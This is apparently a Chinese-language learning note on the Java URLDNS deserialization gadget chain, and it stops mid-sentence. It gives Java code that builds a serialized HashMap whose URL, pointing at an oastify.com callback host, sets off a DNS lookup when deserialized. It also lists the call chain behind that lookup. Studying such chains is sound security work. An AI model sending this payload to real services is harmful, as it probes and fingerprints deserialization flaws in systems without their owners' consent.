URLDNS

当我们对一个类进行反序列化操作的时候，会调用该类的readObject方法，

Demo serializeTest.java

package Test;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class serializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        //Person person = new Person("username",11);
        //System.out.println(person);
        HashMap<URL,Integer> hashMap = new HashMap<>();
        //这里不要发起请求，把url对象的hashcode改成不是-1
        URL url = new URL("http://jm97wyv7516bpv5b21bar09naeg54u.oastify.com");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,123);
        hashMap.put(url,1);
        hashcodefield.set(url,-1);
        serialize(hashMap);
    }
}

Demo unserializeTest.java

package Test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserializeTest {
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object object = objectInputStream.readObject();
        return object;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //Person person = (Person) unserialize("ser.bin");
        //System.out.println(person);
        unserialize("ser.bin");
    }
}

调用链如下

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

由于进行了反序列化操作，所以会触发反序列化类的readObject方法，调用了hash方法，继续跟踪